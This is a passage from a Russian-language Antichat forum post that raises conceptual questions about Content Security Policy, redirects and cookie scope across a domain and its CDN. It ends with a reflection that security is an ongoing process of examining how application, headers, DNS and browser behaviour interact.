    https://еxample.com и http://еxample.com
    - разные (схема!).

    А если есть редирект с
    Код:
    http://аssets.example.com на https://аssets.example.com
    , но в политике указан только HTTPS - что будет? А если основной домен использует
    Код:
    еxample.com
    , а CDN использует
    Код:
    cdn.еxample.com
    , но сессионные куки установлены на
    Код:
    .еxample.com
    - не дает ли доверие CSP к CDN доступа к этим кукам?
Финал: Процесс, а не Состояние. Умение Видеть Систему.
Вот она, главная мысль, которую ты должен вынести отсюда, как кредо:
Безопасность - это не состояние («у нас стоит CSP»). Это - процесс. Постоянный, утомительный, параноидальный процесс вопросов, проверок, перепроверок и сомнений.

Тот, кто выигрывает - не тот, у кого самый длинный список запретов в хедерах. А тот, кто понимает процессы лучше других. Процесс разрешения DNS. Процесс парсинга и применения CSP браузером. Процесс взаимодействия приложения со сторонними сервисами. Процесс развертывания кода в твоей компании.

Ты на шаг впереди, когда видишь не просто политику, а систему: код приложения + HTTP-заголовки + конфигурация сервера + DNS-зона + логика облачного провайдера + поведение браузера. Трещины почти всегда находятся на стыке этих слоев.

Удачи в исследованиях, коллега. Не в простом скрипт-киддистве, а в настоящем, глубоком, методичном исследовании систем. Помни: код - закон. Но понимание того, как этот код исполняется, - сила.

Иди и смотри глубже.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.